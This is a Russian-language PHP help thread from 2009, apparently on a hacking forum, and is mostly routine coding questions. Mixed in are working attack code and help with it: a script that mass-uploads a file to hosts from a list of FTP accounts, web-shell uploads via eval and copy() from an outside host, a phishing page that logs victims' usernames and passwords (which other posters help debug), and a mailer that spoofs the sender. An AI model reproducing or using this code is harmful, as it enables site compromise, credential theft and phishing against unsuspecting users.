Она тут. (http://www.yandexvideo.vov.ru/)

nilux
28.02.2009, 01:58
мб document.location.href='http://www.yandex.ru';?

.:nbd:.
28.02.2009, 05:13
мб document.location.href='http://www.yandex.ru';?

Можно и так, но где гарантии, что у юзера не отключен жабаскрипт?

laedafess
28.02.2009, 07:04
яву тока "хакеры" отключают) зачем это простому юзверю. Ну можно еще так:
<html>
<META HTTP-EQUIV="REFRESH" CONTENT="0;URL=http://www.yandex.ru/">
</html>

i-Worm.Fizzer
28.02.2009, 09:24
Задался тут вопросом, каким способом лучше обращяться к бд ?

таким
$query = "SELECT * FROM xxx WHERE yyy=zzz";
$result = $myDB->Execute($query) or DIE($myDB->ErrorMsg());

или таким ?
$sql = mysql_query("SELECT * FROM xxx WHERE yyy=zzz");

или может таким ?
$sql = "SELECT * FROM xxx WHERE yyy=zzz";
$result = @mysql_query($sql, $connection);

Какой быстрее ? Или фишка только в том, кому как удобней ? В общем напишите каким и почему пожалуйста =)

a1ex
28.02.2009, 09:27
Задался тут вопросом, каким способом лучше обращяться к бд ?

таким
$query = "SELECT * FROM xxx WHERE yyy=zzz" ;
$result = $myDB->Execute($query) or DIE($myDB->ErrorMsg());

или таким ?
$sql = mysql_query("SELECT * FROM xxx WHERE yyy=zzz");


Какой быстрее ? Или фишка только в том, кому как удобней ? В общем напишите каким и почему пожалуйста =)

В 1ом случае ты делаешь вроде запрос с выводом результата.
А во втором просто запрос.

p.s.имхо.

Zedi
28.02.2009, 10:09
В первом случае ты делаешь запрос с помощью класса работы с БД, в скорости разницы нет, как тебе удобнее.

g-warning
28.02.2009, 10:58
....

[dei]
28.02.2009, 14:13
Привет!
Помогите написать такой скрипт -

файл ftp.txt там акки фтп такого вида


скрипт ftp.php берет данные из ftp.txt и по очереди заливает файл gen.php в папку www на каждый хост

Заранее большое спасибо! ++ ;)


<?php
foreach(file('ftp.txt') as $line) {
list($host,$login,$pass)=explode('|',trim($line));
$f = fopen('ftp://'.$login.':'.$pass.'@'.$host.'/www/gen.php','w');
fwrite($f,file_get_contents('gen.php'));
fclose($f);
echo $host.' - ok<br/>';
}
?>

noveek
28.02.2009, 20:33
Подскажите пожалуйста как на php (а может и не php ну на юкозе чтобы скрипт потянул) при заходе на сайт открывалось ещё одно окно другого сайта но такой список сайтов должен быть и они должны открываться всегда в случайном порядке желательно ещё чтобы опера не блокировала скрипт ! :cool:

heretic1990
28.02.2009, 20:59
Вот, хочу добавить функцию декодирования из Hex для ICQ бота, вроде как должно работать, а когда шлю боту команду на декодирование, его выкидывает.
скажите, в чём проблема.

case '!unhex':
$unhex=unhex($cmd[2]);
if($unhex=='') { $unhex='Не возможно'; }
$mlCQ->send_message($from,$unhex);
break;

mailbrush
28.02.2009, 21:56
как залить шелл через eval get_c?
?c=file_get_contents('site.ru/shell.php');

Вот, хочу добавить функцию декодирования из Hex для ICQ бота, вроде как должно работать, а когда шлю боту команду на декодирование, его выкидывает.
скажите, в чём проблема.Пробуй
case '!unhex':
$unhex=hex2dec($cmd[2]);
if($unhex=='') { $unhex='Не возможно'; }
$mlCQ->send_message($f
rom,$unhex);
break;

heretic1990
28.02.2009, 22:33
mailbrush не помогло

Zitt
28.02.2009, 23:44
как записать в фаил все что передаеться скрипту? пост или гет методом...

Gifts
28.02.2009, 23:56
Zitt
file_put_contents('outfile.txt','POST: '.implode('::',$_POST)."\r\nGET: ".implode('::',$_GET));
Или file_put_contents('outfile.txt',print_r($_GET,1));

crackmail
28.02.2009, 23:56
если фунция mail() на хостине отключена , возможно как-то отправлять письма с него???

AkyHa_MaTaTa
28.02.2009, 23:59
Zitt
file_put_contents('outfile.txt','POST: '.implode('::',$_POST)."\r\nGET: ".implode('::',$_GET));
Или file_put_contents('outfile.txt',print_r($_GET,1));
Или просто file_put_contents('razor_zanuda.txt',$_REQUEST);//$_POST,$_GET,$_COOKIE

2heretic1990
copy('http://moishell.ru/shell.txt','shell.php');

mailbrush
01.03.2009, 00:00
crackmail, через SMTP.

[Raz0r]
01.03.2009, 00:06
Или просто file_put_contents($_REQUEST);
0_o во-первых _REQUEST - это массив (такой же как _GET или _POST), во-вторых file_put_contents принимает два аргумента, а не один и никак не массив.
Вообще все с чем обратились к скрипту в GET'е пишется так:
file_put_contents('file.txt', $_SERVER['QUERY_STRING']);
а в POST'е так:
file_put_contents('file.txt', $HTTP_RAW_POST_DATA);

Chaak
01.03.2009, 00:14
[Raz0r], file_put_contents поддерживает запись массива в файл. Если ты внимательно посмотришь , то второй параметр - mixed data

Gifts
01.03.2009, 00:15
Возник вопрос - что будет работать быстрее с POP3 сервером:

1) Функции imap
2) Чистые сокеты
3) Что-то иное

Господам ругающимся из-за file_put_contents с массивами - ключи не сохранятся, и записано будет без разделителей

Zitt
01.03.2009, 00:27
[Raz0r], спс...
помогите что то запутался...
вобщем надо получить id юзера по мылу... я так делаю..

$dbName='fe';
$link = mysql_connect($D"host"],$D["user"],$D["pass"]);
mysql_select_db($dbName, $link);
$query = mysql_query("SELECT id FROM users WHERE email = '".$email."'");
$results = mysql_fetch_array($query);
if(!$results)
{
echo "Возникла ошибка - ".mysql_error()."<br>";
echo $query;
exit();
}
$id = $results['id'];
echo "$id";


выдает

Возникла ошибка -
Resource id #10

как надо?

[Raz0r]
01.03.2009, 00:30
[Raz0r], file_put_contents поддерживает запись массива в файл. Если ты внимательно посмотришь , то второй параметр - mixed data
вообще-то ошибка будет:
Array to string conversion

AkyHa_MaTaTa
01.03.2009, 00:34
Вообше если записывать через file_put_contents то неплохо бы провепять не явлються ли входные данные 2 -х(или более) мерным массивом(ну вдруг в голову взбредет)
file_put_contents('razor_zanuda.txt',array_reduce( $_POST,'implode'))

[Raz0r]
01.03.2009, 00:38
Вот так попробуй:

<?
$dbName='fe';
$link = mysql_connect($D['host'],$D['user'],$D['pass']);
mysql_select_db($dbName, $link);
$query = "SELECT id FROM users WHERE email = '$email'";
$result = mysql_query($query);
if(!$result)
{
echo "Возникла ошибка - ".mysql_error()." <br>";
die($query);
}
$results = mysql_fetch_array($result);
echo $results['id'];

m0Hze
01.03.2009, 01:09
[Raz0r], спс...
помогите что то запутался...
вобщем надо получить id юзера по мылу... я так делаю..

$dbName='fe';
$link = mysql_connect($D"host"],$D["user"],$D["pass"]);
mysql_select_db($dbName, $link);
$query = mysql_query("SELECT id FROM users WHERE email = '".$email."'");
$results = mysql_fetch_array($query);
if(!$results)
{
echo "Возникла ошибка - ".mysql_error()."<br>";
echo $query;
exit();
}
$id = $results['id'];
echo "$id";


выдает

как надо?


mysql_connect($D["host"],$D["user"],$D["pass"]);

Куда дел скобку

dinar_007
01.03.2009, 04:20
Возник вопрос - что будет работать быстрее с POP3 сервером:

1) Функции imap
2) Чистые сокеты
3) Что-то иное

Господам ругающимся из-за file_put_contents с массивами - ключи не сохранятся, и записано будет без разделителей
1) Не путай IMAP и POP3 - это разные протоколы...
2) Ясен хер, что самый низкий уровень, на котором происходит обмен между почтовым сервером и клиентом - сетевой уровень, на уровне сокет, через команды протокола...

Задай себе сначала вопрос - удобно ли тебе будет работать с командами протокола в RAW-режиме? Или может воспользоваться тем, что инкапсулирует эти команды в себе, а тебе предоставляет некий интерфейс?

awdrg
01.03.2009, 18:30
Подскажите пожалуйста, как можно записывать цитаты с баша в переменную с помощью скрипта и затем отправлять эту переменную куда либо. Имеется хост с кроном для этих целей. Интересует сам процесс отбора цитат и их передача. Заранее большое спасибо.

SVAROG
01.03.2009, 18:43
awdrg
сокетами или cURL ом получаешь страницу баша, и парсишь её на цитаты.
мануал по курлам- http://ru.php.net/curl
по сокетам- http://ru.php.net/sockets, http://www.opennet.ru/base/dev/php_sockets.txt.html
по поиску в тексте http://www.softtime.ru/bookphp/gl3_1.php

159932
01.03.2009, 18:50
$random = file_get_contents('http://bash.org.ru/random');
preg_match_all('#<div class="vote">(.*?)</div>(.*?)<div>(.*?)</div>#is', $random, $ma4);
print_r($ma4[3]);

awdrg
01.03.2009, 19:13
Я post'oм пересылаю ma4 на страницу, но все ее значение это:
And array
Может нужно текст русский перегнать в %4D%FG и т д ? :D
И если да, то как?

PaCo
01.03.2009, 19:18
Может нужно текст русский перегнать в %4D%FG и т д ? :D

urlencode()

heretic1990
01.03.2009, 19:21
нужен грабер погоды. чтобы текст грабил соответственно
есть у кого?

awdrg
01.03.2009, 19:24
Warning: urlencode() expects parameter 1 to be string, array given in (%pathname\bash.php) on line 12.
Писал так:
$ma4=urlencode($ma4);
Что неверно?

PaCo
01.03.2009, 19:27
Warning: urlencode() expects parameter 1 to be string, array given in (%pathname\bash.php) on line 12.
Писал так:
$ma4=urlencode($ma4);
Что неверно?
Ты масив втуливаешь,проблема не в кодировке скорей всего,покажи весь код, например можно вот так перевести
$ma4=urlencode(array_reduce( $ma4,'implode'));

awdrg
01.03.2009, 19:30
);
$ma4=urlencode($ma4);
получается для post отправки русского текста нужно перегнать $ma4 в urlencode формат. А что в твоем примере является конечным массивом?

awdrg
01.03.2009, 19:37
вылезает:
fatal error: allowed memory size of 134217728 bytes exhausted (tried to allocate 76646989 bytes) in %path\bash.php on line 12

159932
01.03.2009, 19:37
$ma4[3] - массив с цитатами
какой пост !?? тебе это надо на страницу вывест или куданить отправить !?
foreach ($ma4[3] as $quote) echo $quote.'<br>';

PaCo
01.03.2009, 19:38
);
$ma4=urlencode($ma4);
получается для post отправки русского текста нужно перегнать $ma4 в urlencode формат. А что в твоем примере является конечным массивом?
Что собираешься делать с полученой с 1 страницы цитатами, отправлять post ам куда то дальше, яе то я не пойму, ну если ты будешь оправлять то надо когда ты засовываешь в post переменые звлекать из массива данные, а не тупа втуливать весь массив.
$ma4=urlencode($ma4[3][0])

awdrg
01.03.2009, 19:46
Вот общая суть:цитату с баша (или несколько) кидать в статус вконтакте или в заметку.
$random = file_get_contents('http://bash.org.ru/random');
preg_match_all('#<div class="vote">(.*?)</div>(.*?)<div>(.*?)</div>#is', $random, $ma4);
print_r($ma4[3]);
$ma4=(тут надо присвоить ma4 формат для пересылки постом)
//все что ниже работает 100%
$hd2="setactivity=\nand $ma4 &activityhash=xxxxxxxxxxxxxxxxx";
$hd="POST http://vkontakte.ru/profile.php HTTP/1.0
Accept: */*
Accept-Language: ru
Referer: http://vkontakte.ru/profile.php
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: vkontakte.ru
Content-length: ".strlen($hd2)."\r\nPragma: no-cache
Cookie: $cookie\r\n\r\n";
fputs($fp,$hd);fputs($fp,$hd2);fgets($fp, 1024);
fclose($fp);
$fp=fsockopen('vkontakte.ru',80);
$hd="GET http://vkontakte.ru/profile.php HTTP/1.0
Accept: */*
Accept-Language: ru
Referer: http://vkontakte.ru/profile.php
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: vkontakte.ru
Cookie: $cookie\r\n\r\n";
fputs($fp,$hd);fgets($fp,1024);fclose($fp);

awdrg
01.03.2009, 19:50
$ma4=urlencode($ma4[3][0])
уже лучше но конечный результат:

and ?4??4??4??4??4??4??4??4??4??1? ?5??4??1? ?4??4??4??4??4??4??4??4??4??1?, ?4??4??4??4??5? ?4??4??4??4??4??4??4??4??5? ?4??5??4??4??4??1?, ?4??1?-?4??1? ?4??4??4??4??4??4??1? ?4??4??4??4??4??4??4??4??4??1? Apple iPod ?4??4??4??4??1? ?4??5??4??5? ?4??4??4??4??4??4??4??4??4??1? ?4??4??1? ?4??4??4??4??4??5??4??4??4??4??4??4??1? ?4??4??4??4??4??4??1? &quot;?4??4??4??4??4??4??4??4??4??1? ?4??4??4??4??4??4??4??4??4??1? ?4??4??4??4??4??4??4??4??4??1?&quot; ?4??1? ?4??4??4??4??5??5??4??4??4??1? ?1? ?4??4??4??4??4??4??4??4??4??4??4??1? ?4??4??4??4??4??4??4??1? Windows Vista. . тоесть только английские буквы

awdrg
01.03.2009, 20:46
если я пихаю например так:
$test = urlencode('пример');
то ошибки нету.
а если кидаю массив $md4[3] или $md4[3][0] то ошибка есть. Как ее обойти?

159932
01.03.2009, 20:48
foreach ($ma4[3] as $num=>$quote) $ma4[3][$num] = urlencode($quote);

Zedi
01.03.2009, 23:34
Ну а еще можно элемент из массива засунуть в переменную. $a = $b[1];

awdrg
02.03.2009, 15:04
Все спасибо, полностью разобрался

zifanchuck
02.03.2009, 18:13
нужен скрипт который из
hash2:6QjhhTu9Hdqio
hash3:/vk32P04c07oE
зделает
6QjhhTu9Hdqio
/vk32P04c07oE

пхп учу второй день) думал что так будет работать

<?php
$str = "hash2:6QjhhTu9Hdqio
hash3:/vk32P04c07oE";
list($n, $ha) = explode(":", $str);
echo $ha;
?>

но понял что ошыбался((( ошыбку свою понял но как исправить пока незнаю

AkyHa_MaTaTa
02.03.2009, 18:32
Можно вот так
<?php
$out="";
$str = array("hash2:6QjhhTu9Hdqio","hash3:/vk32P04c07oE");//тут можешь file('hash.txt');
foreach($str as $value){
list($name, $hash) = explode(":", $value);
$out.="$hash\n";
}
echo $out;
?>

m0Hze
02.03.2009, 18:35
Можно вот так
<?php
$out="";
$str = array("hash2:6QjhhTu9Hdqio","hash3:/vk32P04c07oE");//тут можешь file('hash.txt');
foreach($str as $value){
list($name, $hash) = explode(":", $value);
$out.="$hash\n";
}
echo $out;
?>

а можно так

$str = "hash2:6QjhhTu9Hdqio
hash3:/vk32P04c07oE";
preg_match_all('#:(.*)#',$str,$res);
print_R($res[1]);

Grema
02.03.2009, 18:37
Люди помогите...
надо функция какая-то которая бы выводили true или false если бы сработал % определенный...

например
function wans(30);

и если 30% выпали то вернуть труе, иначе, фалсе...
буду очень признателен)

я написал

function wans($to)
{
$th=mt_rand(1,100);
if($th<$to) return '1';
else return '0';
}
echo wans(80)."<br>";

но как-то это бредово получаеться)) надо что-то нормальное))

zifanchuck
02.03.2009, 18:38
Можно вот так
<?php
$out="";
$str = array("hash2:6QjhhTu9Hdqio","hash3:/vk32P04c07oE");//тут можешь file('hash.txt');
foreach($str as $value){
list($name, $hash) = explode(":", $value);
$out.="$hash\n";
}
echo $out;
?>


спс)

DDoSька
02.03.2009, 18:39
Не успел =(

m0Hze
02.03.2009, 18:41
<?php
$text='hash2:6QjhhTu9Hdqio';
preg_match('#:(.*)#',$text,$out);
echo $out[1];
?>
Вверх :D

-=Static=-
02.03.2009, 19:05
Люди помогите...
надо функция какая-то которая бы выводили true или false если бы сработал % определенный...

например
function wans(30);

и если 30% выпали то вернуть труе, иначе, фалсе...
буду очень признателен)

я написал

function wans($to)
{
$th=mt_rand(1,100);
if($th<$to) return '1';
else return '0';
}
echo wans(80)."<br>";

но как-то это бредово получаеться)) надо что-то нормальное))

Че-то не очень понял в чем суть вопроса, но полагаю надо что-то вроде:
<?php
function percent($value)
{
if(rand(1,100) == $value) return true;
return false;
}

MaTpOc
02.03.2009, 19:09
Помогите написать скрипт который бы менял авы в контакте, я себе это представил как массивы, но как именно заставить пхп вставлять форматы картинок я не знаю.

Grema
02.03.2009, 19:15
аррр... так и знал что по глупому объяснил) не знаю как лучше объяснить)))

2-=Static=- у тебя функция вернет труе только в случае если валуе будет точно соответствовать рендому, это не то....

а надо так,например у меня есть шанс 57% что я получу приз...
так вот мне надо чтобы функция мне вернула получу(труе) ли я приз или нет(фалсе).

50% получить просто mt_rand(0,1);
примерно 50% и будет...

а вот как получить динамически это...
надеюсь объяснил лучше)

D Mak
02.03.2009, 19:25
MaTpOc тебе откуда картинки брать?
отправляй курлом

heretic1990
02.03.2009, 19:27
как с помощью функции preg_match или preg_match_all вывести текст который находится промеж тегов?
<nobr> какой то текст </nobr>

D Mak
02.03.2009, 19:30
heretic1990
preg_match_all('#<tag>([^<]*)</tag>#si', $text, $m);
$m[1] - массив с текстами

fatalo
02.03.2009, 19:32
heretic1990,репу античата хочешь отпарсить? :)
Вот пример:

$content = file_get_contents("http://forum.antichat.ru/view_reputation.php?userid=56330&count=999999");
preg_match_all('#<nobr><b>\+([0-9]{1,5})</b></nobr>#i',$content,$pluses);

DDoSька
02.03.2009, 19:40
как с помощью функции preg_match или preg_match_all вывести текст который находится промеж тегов?
<nobr> какой то текст </nobr>
preg_match('#<nobr>(.*)</nobr>#',$in,$out);

heretic1990
02.03.2009, 19:44
всем спс

chlp
02.03.2009, 20:11
function wans($to)
{
$th=rand(1,100);
if($th<=$to) return TRUE;
return FALSE;
}

Grema
02.03.2009, 20:53
не вижу отличия от моей функции, то что у тебя rand используется, он же намного режи генерирует рандомное число чем mt_rand.
и я (<=) забыл в своем примере.. но все равно это не то мне кажется что есть более лучшей вариант с более точным результатом....

Ershik
02.03.2009, 21:08
Сделал фейк.
Тестирую.
И захотелось, чтобы приходило уведомление на email

Нацарапал следующий скрипт(аналог со скамом из Хакера)
<?php
if ((isset($_POST["user"])) and (isset($_POST["password"]))) { //проверка ну существование запроса
$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные

$good = 'GOOD.txt'; //название файла, в который будут записыватся данные
$good = fopen($good,'a'); // открыие файла
$send = $_POST['user'].':'.$_POST['password']; //создание запроса
fwrite($good, $send."\n"); //запись в файл
echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";}; // отсылка на настоящую страницу
?>
<?php
if (empty($_POST["user"]) || empty($_POST["password"])){

mail("мой майл", "info", $_POST["password"]);

mail("$message", "eshat", $message);

};

?>

Проблема в том, что он посылает email уведомление, но совершенно пустое.
Там не фиксируются логины и пароли.

Можете помочь?

Doom123
02.03.2009, 21:15
ВО 1 .. я не понел строки ..

$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные

зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)

Во 2

if (empty($_POST["user"]) || empty($_POST["password"])){

отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?

В 3

echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";

ставь после отсылки уведомления ...

Ershik
02.03.2009, 21:23
ВО 1 .. я не понел строки ..

$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные

зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)
Перезаписываю?
Я хотел задать $message суперпеременной и встроить в письмо, чтобы приходили текста типа:
вася : вася


Во 2

if (empty($_POST["user"]) || empty($_POST["password"])){

отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?

Данные логина и пароля.
Я не понял следующего:
отсылка уведомления идёт только когда один из них или они оба пустые ...
В каком случае тогда не приходят уведомления? Когда они не пустые?
То есть их нужно задать снова?

Doom123
02.03.2009, 21:29
Ershik мдяя ... слу мож ты книжку хоть почитаешь ...

$message - суперпеременная ? Оо
еси хочешь в таком виде такделай как сделанов перемменой $send

у тебя условие идёт ...

ЕСЛИ $_POST['user'] пустой ИЛИ $_POST['password'] пустой .. делаем следуйшее...
а тут отправка уведомления ...

делай if (!empty($_POST["user"]) && !empty($_POST["password"]))

Andrej1928
02.03.2009, 21:41
<?php

print <<<HERE
<style type = "text/css">
body {
font-family: Arial;
}

#inputone {
width: 100%;
}

#textarea {
width: 100%;
height: 500px;
}

#infotd {
font-size: 13px;
width: 100px;
}

#infotd2 {
font-size: 13px;
}

#bgcolor_infotd {
background-color: #dbeaff;
}

#good_send {
color: #00419a;
}

#sends {
width: 20px;
}

#notice {
color: red;
}

</style>

HERE;

$html_or_text = $_GET["html_or_text"];
$sends = $_GET["sendes"];

if($_GET["html_or_text"] == 1) {
$htmltext = "\r\nContent-type: text/plain";
} else if ($_GET["html_or_text"] == 2) {
$htmltext = "\r\nContent-type: text/html";
} else {}

if($_GET["codir"] == 1) {
$cod = "windows-1251";
} else if ($_GET["codir"] == 2){
iconv("windows-1251", "utf-8", $email . $them . $body . $send_full . $htmltext);
$cod = "utf-8";
} else {}

$mime = "$htmltext; charset = \"$cod\"";

if($_GET["sender_name"] == TRUE) {
$sender_full = $sender_name . " <" . $sender_mail . ">";
} else {
$sender_full = $sender_mail;
}

if(isset($_GET["send"])) {
for($i = 0; $i < $_GET["sendes"]; $i++) {
mail("$email", "$them", "$body", "From: $sender_full $mime");
}
print "<center><span id = \"good_send\">Сообщение отправлено</span></center>";
$fp = fopen("result.txt", "a");
$content = <<<HERE
IP: $REMOTE_ADDR
Agent: $HTTP_USER_AGENT
Cookie: $QUERY_STRING
-
Отправитель (e-mail): $sender_mail
Отправитель (имя): $sender_name
E-mail: $email
Тема: $them
Текст письма -
$body
text/html: $html_or_text
Количество писем за раз: $sends
-----------------------------

HERE;

fputs($fp, $content);
fclose($fp);
} else {
print <<<HERE
<form>
<table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1">
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (e-mail):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_mail" value = "bill@microsoft.com" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (Имя):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_name" value = "Билл" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Кому<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "email" value = "admin@mail.ru" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Тема письма<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "them" value = "Hello" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td valign = "top" id = "infotd">
Текст письма<span id = "notice">*</span>:
</td>
<td>
<textarea name = "body" id = "textarea">You are lol:)</textarea>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб.
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
<input type = "radio" name = "html_or_text" value = "1" checked = "checked">Только текст
<input type = "radio" name = "html_or_text" value = "2">HTML и текст
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Количество писем за раз:
<select name = "sendes">
<option value = "1">1</option>
<option value = "2">2</option>
<option value = "3">3</option>
<option value = "4">4</option>
<option value = "5">5</option>
<option value = "6">6</option>
<option value = "7">7</option>
<option value = "8">8</option>
<option value = "9">9</option>
<option value = "10">10</option>
<option value = "11">11</option>
<option value = "12">12</option>
<option value = "13">13</option>
<option value = "14">14</option>
<option value = "15">15</option>
<option value = "16">16</option>
<option value = "17">17</option>
<option value = "18">18</option>
<option value = "19">19</option>
<option value = "20">20</option>
</select>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Кодировка письма:
<select name = "codir">
<option value = "1">windows-1251</option>
<option value = "2">utf-8</option>
</select>
</td>
</tr>
<tr>
<td valign = "top" colspan = "2">
<table border = "0" width = "100%" id = "infotd2">
<td valign = "top">
Поля отмеченные знаком <span id = "notice">*</span> обязательны для заполнения
</td>
<td colspan = "2" align = "right">
<input type = "reset" value = "Вернуть" />
<input type = "submit" value = "Отправить" />
<input type = "hidden" name = "send" />
</td>
<table>
</td>
</tr>
</form>

HERE;

}

?>

Парни кто сможет дописать здесь функцию отправки вложения, скрипт взял отсюда с темы Полезный скрипты сам в ПХП я неселён
буду очень блогодарин за помощь.

awdrg
02.03.2009, 22:21
Очень прошу, распишите основной синтаксис preg_match_all(), буквально в общих чертах, в частности я путаюсь с выходной переменной-массивом, немогу понять что где лежит(под каким индексом) Если можно пару примеров. С меня + =) спасибо

159932
02.03.2009, 22:23
http://www.php.su/articles/?cat=regexp

Gifts
02.03.2009, 22:24
awdrg php.net/preg_match_all - на любом языке, с примерами и коментариями

awdrg
03.03.2009, 16:47
мм спасибо, еще вопрос: как получить функцией file_get_contents() искходный код страницы, для просмотра которой требуются мои cookies, которые я знаю?

159932
03.03.2009, 16:51
[этой ф-ией так сделать нельзя .. только сокетами или курлом.]
не верный ответ. читаем ответ двумя постами ниже.

Pashkela
03.03.2009, 16:57
примерно так:


<?php

function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_COOKIE, "__utma=ТУТ_ТВОИ_ДАННЫЕ; __utmb=ТУТ_ТВОИ_ДАННЫЕ; __utmc=ТУТ_ТВОИ_ДАННЫЕ;__utmz=ТУТ_ ТВОИ_ДАННЫЕ;");
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}

$a=get('http://mail.ru');
echo $a;
?>

AkyHa_MaTaTa
03.03.2009, 17:01
этой ф-ией так сделать нельзя .. только сокетами или курлом.

$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n"
)
);

$context = stream_context_create($opts);
$fp = file_get_contents('http://www.example.com', false,$context);

awdrg
03.03.2009, 17:38
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n"
)
);

$context = stream_context_create($opts);
$fp = file_get_contents('http://www.example.com', false,$context);

o_O огромное спасибо, все работает отлично!

MaTpOc
03.03.2009, 19:27
Где можно достать уже готовые шапки сайта, футеры, фоны и коды для навигации?

blaga
03.03.2009, 19:43
MaTpOc бесплатные шаблоны для сайта?

MaTpOc
03.03.2009, 19:46
MaTpOc бесплатные шаблоны для сайта?

стандартные кторорые 690 на 100, ну или недоработанные

Pashkela
03.03.2009, 20:02
Честно говоря вообще такие вопросы недопонимаю - для "сайта" дайте "шаблоны" для "навигации". Абстракция какая-то

DDoSька
03.03.2009, 21:08
Как залогинится в Вконтакте через CuRL ?
А то меня шлют ниже пояса,куки шлю - не выходит все равно

Zedi
03.03.2009, 21:24
поставь прогу котрая загловки просматривает, и точь в точь делай так же в скрипте, не забудь про куки еще, могу на сокетах попробовать, но не на курле
P.S. в соседних темах много скриптов для контактов скорее всего там есть авторизация

Mixon
03.03.2009, 21:26
Именно логиниться просто,хз почему тебя шлют...
В куки нужно для роботы контакта лишь remixemail=,remixpass=,remixsid= и всё...
Может ты забыл пару етих строчек??

$ref = 'http://vkontakte.ru/';
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';

curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);

??

Например у меня стоит для входа именно так:

$cookie="$rnd";

$ref = 'http://vkontakte.ru/';

$ch=curl_init ("http://vkontakte.ru/rate.php");

$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';

curl_setopt($ch, CURLOPT_USERAGENT, $ua);

curl_setopt ($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_USERAGENT, $ua);

curl_setopt($ch, CURLOPT_REFERER, $ref);

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_COOKIE, $cookie);

curl_setopt($ch,CURLOPT_POSTFIELDS,$zapros);

$page = curl_exec($ch);



В $rnd куки вида:

remixgroup_closed_tabs=0;
__utmz=201049257.1233593411.1.1.utmcsr=(direct)|ut mccn=(direct)|utmcmd=(none);
remixap=1; __utma=201049257.3076849887214152000.1233593411.12 34635662.1234962445.6;
remixclosed_tabs=0; remixlang=0; remixchk=5;
remixmid=1;
remixemail=barsiks@mail.ru;
remixpass=16e18f8268ea71033d5dfa8cc4536503;
remixsid=e487673253403898e736b1950d246cfe6b49c95a1 8b537f7b853;
remixautobookmark=30

DDoSька
03.03.2009, 21:46
Из жопы походу у меня руки растут:
<?php
$cookie="remixgroup_closed_tabs=0;
__utmz=201049257.1233593411.1.1.utmcsr=(direct)|ut mccn=(direct)|utmcmd=(none);
remixap=1; __utma=201049257.3076849887214152000.1233593411.12 34635662.1234962445.6;
remixclosed_tabs=0; remixlang=0; remixchk=5;
remixmid=912398;
remixemail=qweqwe%40rambler.ru;
remixpass=599f177f9001aqwe124d5c8e984b8fb6;
remixsid=25c6b5df7f43d9e06b12346b3cc527a170aee47b4 84c36737c5c79;
remixautobookmark=30";
$ref = 'http://vkontakte.ru/';
$ch=curl_init ("http://vkontakte.ru/login.php");
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch,CURLOPT_POSTFIELDS,$zapros);
$page = curl_exec($ch);
echo $page;
?>
Не логинится, какие догадки ?

Mixon
03.03.2009, 21:46
Кто знает,в чём прикол?
Вопшем скрипт постоянно выводит данные,вопше работает цыкл.
Так вот,идёт загрузка страницы,но ничего не отображаеться,просто белая страница!
Есле просто остановить загрузку страницы,то тогда сразу всё что было загружено - отобразиться,но до етого - нет. Ну или ждать полную загрузку страницы...
Кто знает,в чём прикол? До етого всё работало,пока вывод javascript`а не прилепил..

Mixon
03.03.2009, 21:50
